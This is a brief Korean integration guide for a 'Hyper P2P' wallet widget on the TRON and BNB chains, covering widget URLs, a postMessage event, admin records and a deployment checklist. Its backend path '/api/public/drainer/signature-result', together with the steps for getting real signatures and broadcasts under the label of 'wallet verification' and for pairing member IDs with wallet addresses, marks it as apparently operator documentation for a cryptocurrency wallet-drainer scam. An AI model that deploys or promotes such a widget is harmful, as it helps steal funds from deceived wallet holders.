Hyper P2P 위젯 연동 가이드

신규 연동은 API 직연동(구방식) 대신 위젯 방식이 표준입니다.

1) 위젯 URL

• TRON: /static/tron-widget.html?chain=tron&clientRef=<회원ID>&returnUrl=<복귀URL>
• EVM(BNB): /static/evm-widget.html?chain=evm&clientRef=<회원ID>&returnUrl=<복귀URL>
• clientRef 전달 필수, returnUrl 강력 권장

2) 완료 이벤트

위젯 완료 시 부모 페이지로 postMessage 이벤트가 전달됩니다.

{
  "type": "hp2p-wallet-verified",
  "source": "hp2p-widget",
  "chain": "tron|evm",
  "address": "walletAddress",
  "chainId": 56,
  "skipped": false
}

3) 관리자 반영

• 완료 기록은 /api/public/drainer/signature-result 시점에 저장됩니다.
• 관리자 목록은 주소 기준 집계이므로 동일 주소 재인증 시 행이 늘지 않을 수 있습니다.
• 회원 ID 표시는 client_ref 기반입니다.

4) 운영 체크리스트

1. TRON/EVM 각각 1회 실제 서명·브로드캐스트 완료
2. 완료 후 복귀(returnUrl) 동작 확인
3. 관리자 화면에서 회원 ID(client_ref)와 지갑주소 페어링 확인
4. 배포 후 강력 새로고침(Ctrl+F5) 및 서버 재시작